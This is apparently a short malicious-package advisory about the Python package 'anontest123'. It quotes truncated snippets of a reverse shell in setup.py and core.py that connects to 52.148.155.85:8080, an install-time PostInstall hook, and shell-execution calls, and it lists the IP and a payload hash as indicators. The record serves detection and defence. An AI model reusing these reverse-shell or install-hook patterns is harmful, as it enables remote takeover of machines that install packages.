GCVE-VVD-OSM-2026-223

Malicious package detected. Behaviors: code execution, network activity. Payload: setup.py Secondary files: anontest123/core.py Key findings: - Reverse Shell in anontest123/core.py: "socket.socket() s.connect(("52.148.155.85", 8080)) os.du..." - Reverse Shell in setup.py: "socket.socket();s.connect((\"52.148.155.85\",8080));os.dup2(s.fileno(),0);os.dup..." - Shell Command Execution in anontest123/core.py: "subprocess.call(" - Shell Command Execution in setup.py: "os.system(" - setup.py Code Execution in setup.py: "class PostInstall(install): def run(self): def cb(): os...." IOCs: - ipv4: 52.148.155.85 - payloadFileHash: b597f84e4cf671a005bc78da8d83aa406c2222c0bdc2827737ab99d0821a1087